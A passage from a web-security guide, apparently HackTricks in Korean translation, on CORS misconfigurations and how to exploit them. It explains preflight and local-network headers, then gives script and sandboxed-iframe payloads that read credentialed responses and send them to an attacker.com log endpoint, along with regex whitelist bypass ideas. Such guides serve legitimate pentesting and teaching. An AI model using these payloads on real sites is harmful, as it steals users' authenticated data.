CORS - Misconfigurations & Bypass

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

CORS๋ž€?

Cross-Origin Resource Sharing (CORS) ํ‘œ์ค€์€ ์„œ๋ฒ„๊ฐ€ ๋ˆ„๊ฐ€ ์ž์‚ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€์™€ ์–ด๋–ค HTTP ์š”์ฒญ ๋ฐฉ๋ฒ•์ด ์™ธ๋ถ€ ์ถœ์ฒ˜์—์„œ ํ—ˆ์šฉ๋˜๋Š”์ง€๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ๋‹ค.

๋™์ผ ์ถœ์ฒ˜(same-origin) ์ •์ฑ…์€ ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•˜๋Š” ์„œ๋ฒ„์™€ ๋ฆฌ์†Œ์Šค๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ์„œ๋ฒ„๊ฐ€ ๋™์ผํ•œ ํ”„๋กœํ† ์ฝœ(์˜ˆ: http://), ๋„๋ฉ”์ธ ์ด๋ฆ„(์˜ˆ: internal-web.com), ๋ฐ ํฌํŠธ(์˜ˆ: 80)๋ฅผ ๊ณต์œ ํ•ด์•ผ ํ•จ์„ ์š”๊ตฌํ•œ๋‹ค. ์ด ์ •์ฑ… ํ•˜์—์„œ๋Š” ๋™์ผํ•œ ๋„๋ฉ”์ธ๊ณผ ํฌํŠธ์˜ ์›น ํŽ˜์ด์ง€๋งŒ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

http://normal-website.com/example/example.html ๋งฅ๋ฝ์—์„œ ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…์˜ ์ ์šฉ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

URL accessedAccess permitted?
http://normal-website.com/example/์˜ˆ: ๋™์ผํ•œ ์Šคํ‚ด(ํ”„๋กœํ† ์ฝœ), ๋„๋ฉ”์ธ ๋ฐ ํฌํŠธ
http://normal-website.com/example2/์˜ˆ: ๋™์ผํ•œ ์Šคํ‚ด(ํ”„๋กœํ† ์ฝœ), ๋„๋ฉ”์ธ ๋ฐ ํฌํŠธ
https://normal-website.com/example/์•„๋‹ˆ์˜ค: ๋‹ค๋ฅธ ์Šคํ‚ด ๋ฐ ํฌํŠธ
http://en.normal-website.com/example/์•„๋‹ˆ์˜ค: ๋‹ค๋ฅธ ๋„๋ฉ”์ธ
http://www.normal-website.com/example/์•„๋‹ˆ์˜ค: ๋‹ค๋ฅธ ๋„๋ฉ”์ธ
http://normal-website.com:8080/example/์•„๋‹ˆ์˜ค: ๋‹ค๋ฅธ ํฌํŠธ*

*Internet Explorer๋Š” same-origin ์ •์ฑ…์„ ์ ์šฉํ•  ๋•Œ ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ๋ฌด์‹œํ•˜๋ฏ€๋กœ ์ด ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•œ๋‹ค.

Access-Control-Allow-Origin ํ—ค๋”

์ด ํ—ค๋”๋Š” ์—ฌ๋Ÿฌ origin, null ๊ฐ’, ๋˜๋Š” ์™€์ผ๋“œ์นด๋“œ *****๋ฅผ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์–ด๋–ค ๋ธŒ๋ผ์šฐ์ €๋„ ์—ฌ๋Ÿฌ origin์„ ์ง€์›ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์™€์ผ๋“œ์นด๋“œ *์˜ ์‚ฌ์šฉ์—๋Š” ์ œํ•œ์ด ์žˆ๋‹ค. (์™€์ผ๋“œ์นด๋“œ๋Š” ๋‹จ๋…์œผ๋กœ๋งŒ ์‚ฌ์šฉ๋˜์–ด์•ผ ํ•˜๋ฉฐ, Access-Control-Allow-Credentials: true์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š”๋‹ค.)

์ด ํ—ค๋”๋Š” ์›น์‚ฌ์ดํŠธ์—์„œ ์‹œ์ž‘๋œ ๊ต์ฐจ ๋„๋ฉ”์ธ ๋ฆฌ์†Œ์Šค ์š”์ฒญ์— ๋Œ€ํ•ด ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•  ๋•Œ ๋ฐœํ–‰๋˜๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๋Š” ์ž๋™์œผ๋กœ Origin ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•œ๋‹ค.

Access-Control-Allow-Credentials ํ—ค๋”

๊ธฐ๋ณธ์ ์œผ๋กœ ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์€ cookies๋‚˜ Authorization header ๊ฐ™์€ ์ž๊ฒฉ ์ฆ๋ช… ์—†์ด ์ด๋ฃจ์–ด์ง„๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ต์ฐจ ๋„๋ฉ”์ธ ์„œ๋ฒ„๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ „์†กํ•  ๋•Œ ์‘๋‹ต์„ ์ฝ์„ ์ˆ˜ ์žˆ๋„๋ก Access-Control-Allow-Credentials ํ—ค๋”๋ฅผ **true**๋กœ ์„ค์ •ํ•˜์—ฌ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

Access-Control-Allow-Credentials๊ฐ€ true๋กœ ์„ค์ •๋˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ์ž๊ฒฉ ์ฆ๋ช…(cookies, authorization headers, ๋˜๋Š” TLS client certificates)์„ ์ „์†กํ•œ๋‹ค.

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ์š”์ฒญ

๊ต์ฐจ ์ถœ์ฒ˜ ํ†ต์‹ ์—์„œ ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ์š”์ฒญ ์ดํ•ดํ•˜๊ธฐ

ํŠน์ • ์กฐ๊ฑด(์˜ˆ: ๋น„ํ‘œ์ค€ HTTP ๋ฉ”์„œ๋“œ ์‚ฌ์šฉ(HEAD, GET, POST ์ด์™ธ์˜ ๋ชจ๋“  ๊ฒƒ), ์ƒˆ๋กœ์šด ํ—ค๋” ์ถ”๊ฐ€, ๋˜๋Š” ํŠน์ˆ˜ํ•œ Content-Type ํ—ค๋” ๊ฐ’ ์‚ฌ์šฉ) ํ•˜์—์„œ ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์„ ์‹œ์ž‘ํ•  ๋•Œ ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ์š”์ฒญ์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์˜ˆ๋น„ ์š”์ฒญ์€ OPTIONS ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด ํ–ฅํ›„ ๋ฐœ์ƒํ•  ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์˜ ์˜๋„(์‚ฌ์šฉํ•˜๋ ค๋Š” HTTP ๋ฉ”์„œ๋“œ์™€ ํ—ค๋” ๋“ฑ์„) ๋ฅผ ์„œ๋ฒ„์— ์•Œ๋ฆฌ๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.

๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค ๊ณต์œ  (CORS) ํ”„๋กœํ† ์ฝœ์€ ํ—ˆ์šฉ๋œ ๋ฉ”์„œ๋“œ, ํ—ค๋” ๋ฐ ์ถœ์ฒ˜์˜ ์‹ ๋ขฐ์„ฑ์„ ํ™•์ธํ•˜์—ฌ ์š”์ฒญ๋œ ๊ต์ฐจ ์ถœ์ฒ˜ ์ž‘์—…์˜ ์‹คํ–‰ ๊ฐ€๋Šฅ์„ฑ์„ ํŒ๋‹จํ•˜๊ธฐ ์œ„ํ•ด ์ด ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ๊ฒ€์‚ฌ๋ฅผ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค. ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ์š”์ฒญ์ด ํ•„์š”ํ•˜์ง€ ์•Š์€ ์กฐ๊ฑด์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด Mozilla Developer Network (MDN)์˜ ํฌ๊ด„์ ์ธ ๊ฐ€์ด๋“œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ์š”์ฒญ์˜ ๋ถ€์žฌ๊ฐ€ ์‘๋‹ต์— ๊ถŒํ•œ ๊ด€๋ จ ํ—ค๋”๊ฐ€ ์—†์–ด๋„ ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์€ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ—ค๋”๊ฐ€ ์—†์œผ๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์˜ ์‘๋‹ต์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์€ PUT ๋ฉ”์„œ๋“œ์™€ Special-Request-Header๋ผ๋Š” ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋Š” ๋ชฉ์ ์˜ ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ ์š”์ฒญ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

์‘๋‹ต์œผ๋กœ ์„œ๋ฒ„๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด accepted methods, allowed origin ๋ฐ ๊ธฐํƒ€ CORS policy details๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” headers๋ฅผ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: ์ด ํ—ค๋”๋Š” ์‹ค์ œ ์š”์ฒญ์—์„œ ์–ด๋–ค ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์—์„œ ํ—ˆ์šฉ๋˜๋Š” ํ—ค๋”๋ฅผ ํ‘œ์‹œํ•˜๊ธฐ ์œ„ํ•ด ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • Access-Control-Expose-Headers: ์ด ํ—ค๋”๋ฅผ ํ†ตํ•ด ์„œ๋ฒ„๋Š” ๋‹จ์ˆœ ์‘๋‹ต ํ—ค๋” ์™ธ์— ์–ด๋–ค ํ—ค๋”๋ฅผ ์‘๋‹ต์˜ ์ผ๋ถ€๋กœ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์•Œ๋ฆฝ๋‹ˆ๋‹ค.
  • Access-Control-Max-Age: ์ด ํ—ค๋”๋Š” ์‚ฌ์ „ ์š”์ฒญ(pre-flight request)์˜ ๊ฒฐ๊ณผ๋ฅผ ์–ผ๋งˆ๋‚˜ ์˜ค๋ž˜ ์บ์‹œํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์„œ๋ฒ„๋Š” ์‚ฌ์ „ ์š”์ฒญ์œผ๋กœ ๋ฐ˜ํ™˜๋œ ์ •๋ณด๋ฅผ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ตœ๋Œ€ ์‹œ๊ฐ„์„ ์ดˆ ๋‹จ์œ„๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • Access-Control-Request-Headers: ์‚ฌ์ „ ์š”์ฒญ์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‹ค์ œ ์š”์ฒญ์—์„œ ์‚ฌ์šฉํ•˜๋ ค๋Š” HTTP ํ—ค๋”๋ฅผ ์„œ๋ฒ„์— ์•Œ๋ฆฌ๊ธฐ ์œ„ํ•ด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • Access-Control-Request-Method: ์ด ํ—ค๋”๋Š” ์—ญ์‹œ ์‚ฌ์ „ ์š”์ฒญ์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‹ค์ œ ์š”์ฒญ์—์„œ ์‚ฌ์šฉํ•  HTTP ๋ฉ”์„œ๋“œ๋ฅผ ๋‚˜ํƒ€๋‚ด๊ธฐ ์œ„ํ•ด ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • Origin: ์ด ํ—ค๋”๋Š” ๋ธŒ๋ผ์šฐ์ €์— ์˜ํ•ด ์ž๋™์œผ๋กœ ์„ค์ •๋˜๋ฉฐ ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์˜ ์ถœ์ฒ˜(origin)๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์„œ๋ฒ„๋Š” ์ด๋ฅผ ์‚ฌ์šฉํ•ด CORS ์ •์ฑ…์— ๋”ฐ๋ผ ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ์„ ํ—ˆ์šฉํ• ์ง€ ๊ฑฐ๋ถ€ํ• ์ง€ ํŒ๋‹จํ•ฉ๋‹ˆ๋‹ค.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
๋”ฐ๋ผ์„œ CORS๋Š” CSRF๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค(๊ทธ๋Ÿฌ๋‚˜ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ์š”์ฒญ์˜ ์‚ฌ์ „ ์š”์ฒญ

  1. Access-Control-Request-Local-Network: ์ด ํ—ค๋”๋Š” ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์— ํฌํ•จ๋˜์–ด ํ•ด๋‹น ์š”์ฒญ์ด ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์š”์ฒญ์ด ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ๋‚ด๋ถ€์—์„œ ์™”์Œ์„ ์„œ๋ฒ„์— ์•Œ๋ฆฌ๋Š” ํ‘œ์‹œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.
  2. Access-Control-Allow-Local-Network: ์‘๋‹ต์—์„œ๋Š” ์„œ๋ฒ„๊ฐ€ ์ด ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์š”์ฒญ๋œ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ์™ธ๋ถ€์˜ ์—”ํ‹ฐํ‹ฐ์™€ ๊ณต์œ ๋˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๋ฆฝ๋‹ˆ๋‹ค. ์ด๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ๋„คํŠธ์›Œํฌ ๊ฒฝ๊ณ„ ๊ฐ„์— ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต์œ ํ•ด๋„ ๋œ๋‹ค๋Š” ์‹ ํ˜ธ๋กœ ์ž‘์šฉํ•˜๋ฉฐ, ๋ณด์•ˆ ํ”„๋กœํ† ์ฝœ์„ ์œ ์ง€ํ•˜๋ฉด์„œ ์ œ์–ด๋œ ์ ‘๊ทผ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

linux 0.0.0.0 IP๋Š” ํ•ด๋‹น IP ์ฃผ์†Œ๊ฐ€ โ€œlocalโ€œ๋กœ ๊ฐ„์ฃผ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— localhost์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ ์ด๋Ÿฌํ•œ ์š”๊ตฌ์‚ฌํ•ญ์„ bypassํ•˜๋Š” ๋ฐ ์ž‘๋™ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

๋˜ํ•œ public IP address of a local endpoint(์˜ˆ: router์˜ public IP)๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด bypass the Local Network requirementsํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ ๊ฒฝ์šฐ์— public IP์— ์ ‘๊ทผํ•˜๋”๋ผ๋„ ๊ทธ๊ฒƒ์ด from the local network์ธ ๊ฒฝ์šฐ ์ ‘๊ทผ์ด ํ—ˆ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์™€์ผ๋“œ์นด๋“œ

๋‹ค์Œ ์„ค์ •์ด ๋งค์šฐ ๊ด€๋Œ€ํ•ด ๋ณด์ผ์ง€๋ผ๋„:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This is not allowed by browsers and therefore credentials wonโ€™t be sent with the request allowed by this.

์•…์šฉ ๊ฐ€๋Šฅํ•œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ

๊ด€์ฐฐ๋œ ๋ฐ”์— ๋”ฐ๋ฅด๋ฉด Access-Control-Allow-Credentials๋ฅผ **true**๋กœ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์€ ๋Œ€๋ถ€๋ถ„์˜ ์‹ค์ œ ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ „์ œ ์กฐ๊ฑด์ž…๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ browser๊ฐ€ credentials๋ฅผ ์ „์†กํ•˜๊ณ  ์‘๋‹ต์„ ์ฝ์„ ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์˜ ํšจ์œจ์„ฑ์„ ๋†’์ž…๋‹ˆ๋‹ค. ์ด ์„ค์ •์ด ์—†์œผ๋ฉด, browser์—๊ฒŒ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ๊ณผ ์ž์‹ ์ด ์ง์ ‘ ์š”์ฒญํ•˜๋Š” ๊ฒƒ ์‚ฌ์ด์˜ ์ด์ ์ด ์ค„์–ด๋“ค๋ฉฐ, ์‚ฌ์šฉ์ž์˜ cookies๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด ์‹คํ˜„ ๋ถˆ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

์˜ˆ์™ธ: ๋„คํŠธ์›Œํฌ ์œ„์น˜๋ฅผ ์ธ์ฆ ์ˆ˜๋‹จ์œผ๋กœ ์•…์šฉํ•˜๊ธฐ

ํ”ผํ•ด์ž์˜ network location์ด ์ผ์ข…์˜ ์ธ์ฆ ์ˆ˜๋‹จ์œผ๋กœ ์ž‘๋™ํ•˜๋Š” ์˜ˆ์™ธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ํ”ผํ•ด์ž์˜ browser๋ฅผ ํ”„๋ก์‹œ๋กœ ์‚ฌ์šฉํ•˜์—ฌ IP-based authentication์„ ์šฐํšŒํ•˜๊ณ  intranet applications์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์˜ํ–ฅ ์ธก๋ฉด์—์„œ DNS rebinding๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ ์•…์šฉํ•˜๊ธฐ๋Š” ๋” ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค.

Origin์ด Access-Control-Allow-Origin์— ๋ฐ˜์˜๋˜๋Š” ๊ฒฝ์šฐ

ํ˜„์‹ค์—์„œ Origin header์˜ ๊ฐ’์ด Access-Control-Allow-Origin์— ๋ฐ˜์˜๋˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋Š”, ์ด๋Ÿฌํ•œ ํ—ค๋”๋“ค์„ ๊ฒฐํ•ฉํ•˜๋Š” ๋ฐ ๋Œ€ํ•œ ์ œ์•ฝ ๋•Œ๋ฌธ์— ์ด๋ก ์ ์œผ๋กœ๋Š” ๋“œ๋ญ…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์—ฌ๋Ÿฌ URL์— ๋Œ€ํ•ด CORS๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋Š” ๊ฐœ๋ฐœ์ž๋“ค์€ Origin header์˜ ๊ฐ’์„ ๋ณต์‚ฌํ•˜์—ฌ Access-Control-Allow-Origin ํ—ค๋”๋ฅผ ๋™์ ์œผ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฐฉ์‹์€ ์ทจ์•ฝ์ ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ฉ๋ฒ•์ ์œผ๋กœ ๋ณด์ด๋„๋ก ์ด๋ฆ„์„ ์กฐ์ž‘ํ•œ ๋„๋ฉ”์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒ€์ฆ ๋กœ์ง์„ ์†์ผ ๊ฒฝ์šฐ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin ์•…์šฉ

null origin์€ ๋ฆฌ๋””๋ ‰ํŠธ๋‚˜ ๋กœ์ปฌ HTML ํŒŒ์ผ๊ณผ ๊ฐ™์€ ์ƒํ™ฉ์—์„œ ์ง€์ •๋˜๋ฉฐ, ํŠน์ˆ˜ํ•œ ์œ„์น˜๋ฅผ ์ฐจ์ง€ํ•œ๋‹ค. ์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋กœ์ปฌ ๊ฐœ๋ฐœ์„ ์œ„ํ•ด ์ด origin์„ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ์ถ”๊ฐ€ํ•˜๋Š”๋ฐ, ๊ทธ ๊ฒฐ๊ณผ ์˜๋„์น˜ ์•Š๊ฒŒ ์–ด๋–ค ์›น์‚ฌ์ดํŠธ๋“  sandboxed iframe์„ ํ†ตํ•ด null origin์„ ํ‰๋‚ด ๋‚ด์–ด CORS ์ œํ•œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression ์šฐํšŒ ๊ธฐ๋ฒ•

๋„๋ฉ”์ธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋ฅผ ๋งŒ๋‚ฌ์„ ๋•Œ๋Š” ๊ณต๊ฒฉ์ž์˜ ๋„๋ฉ”์ธ์„ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋„๋ฉ”์ธ์— ๋ง๋ถ™์ด๊ฑฐ๋‚˜ subdomain takeover ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๋Š” ๋“ฑ ์šฐํšŒ ๊ฐ€๋Šฅ์„ฑ์„ ๋ฐ˜๋“œ์‹œ ํ…Œ์ŠคํŠธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ๋„๋ฉ”์ธ ๊ฒ€์ฆ์— ์‚ฌ์šฉ๋˜๋Š” regular expressions์ด ๋„๋ฉ”์ธ ๋ช…๋ช… ๊ทœ์น™์˜ ๋ฏธ๋ฌ˜ํ•œ ์ฐจ์ด๋ฅผ ๋†“์น  ์ˆ˜ ์žˆ์–ด ์ถ”๊ฐ€์ ์ธ ์šฐํšŒ ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

Advanced Regular Expression ์šฐํšŒ

Regex ํŒจํ„ด์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์˜์ˆซ์ž, dot (.), hyphen (-) ๋ฌธ์ž์— ์ง‘์ค‘ํ•˜๊ณ  ๋‹ค๋ฅธ ๊ฐ€๋Šฅ์„ฑ์€ ๊ฐ„๊ณผํ•˜๋Š” ๊ฒฝํ–ฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋ธŒ๋ผ์šฐ์ €์™€ regex ํŒจํ„ด์—์„œ ๋‹ค๋ฅด๊ฒŒ ํ•ด์„๋˜๋Š” ๋ฌธ์ž๋ฅผ ํฌํ•จํ•˜๋„๋ก ์ œ์ž‘๋œ ๋„๋ฉ”์ธ์€ ๋ณด์•ˆ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Safari, Chrome, Firefox๊ฐ€ ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ์˜ ์–ธ๋”์Šค์ฝ”์–ด ๋ฌธ์ž ์ฒ˜๋ฆฌ ๋ฐฉ์‹์ด ๋‹ค๋ฅด๋‹ค๋Š” ์ ์€ ์ด๋Ÿฌํ•œ ๋ถˆ์ผ์น˜๋ฅผ ์•…์šฉํ•ด ๋„๋ฉ”์ธ ๊ฒ€์ฆ ๋กœ์ง์„ ํšŒํ”ผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

์„œ๋ธŒ๋„๋ฉ”์ธ ๋‚ด๋ถ€์˜ XSS๋กœ๋ถ€ํ„ฐ

